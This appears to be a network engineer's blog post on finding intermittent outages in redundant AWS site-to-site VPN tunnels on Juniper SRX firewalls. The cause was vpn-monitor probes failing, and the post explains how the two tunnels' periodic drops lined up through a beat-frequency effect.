Amazon has a great writeup on the requirements and procedures for a site-to-site VPN between your equipment and a VPC, but to sum it up, you can essentially provide Amazon with a few pieces of info (public IP address, prefixes to route, firewall vendor/version) and Amazon will provide a list of set commands that only require minor edits. This is how I built these tunnels, and after changing interface names and IP addresses everything was up and running except for proxy-dns. I wrote about troubleshooting and resolving that here, but essentially (and important to the above issue) I had to give the interfaces on my side of the tunnel addresses in my corporate network rather than the link-local addresses that the autogenerated Amazon configs provided.

Back to the issue at hand – after observing intermittent dropouts and not finding immediately apparent issues, I took a look at our network monitoring setup (LogicMonitor), which is essentially just consuming SNMP from a number of our firewalls/routers/switches. The SRXes were showing interface flaps on the st0 interfaces that correspond to the AWS tunnels, although these were very frequent, much more frequent than any observed or reported issues. LogicMonitor is (without tuning) noisier than it needs to be, at least on Juniper gear, so I didn’t make too much of this, although inspecting the tunnels in the AWS console showed very recent (minutes) “status last changed” times. Some more cursory investigation on the firewalls found nothing, so I decided to focus on the VPN tunnel config. After a significant amount of troubleshooting by disabling one of the two links and monitoring one link at a time.

This showed me the actual issue, which is fascinating – the link was going down for exactly ten seconds, once every two minutes:



By watching the tunnel’s security-association on the firewall, I could see the cause of the link loss: AWS’ default config for a Junos device includes enabling vpn-monitor on the IPsec tunnel. Because of the tunnel address config mentioned above, vpn-monitor won’t work in this setup – the probes will not be returned, and the tunnel will be taken down and rebuilt as it appears to have failed. This is the cause of the perfectly regular dropouts on each tunnel.

So why was this causing intermittent and hard-to-identify outages? Beat frequency. Each link was experiencing (roughly) 10 seconds of downtime (roughly) every two minutes. Most of the time, these outages didn’t line up, and traffic continued to flow over the remaining link. However, because internet traffic is nondeterministic, the difference in tunnel rebuild times would cause each link’s outage time to shift slightly each cycle. Eventually, like turn signals or windshield wipers, these similar-but-not-exactly-identical periods would line up for a few seconds causing a complete outage.

Disabling vpn-monitoring for these tunnels resolved the issue completely. A very satisfying issue to troubleshoot.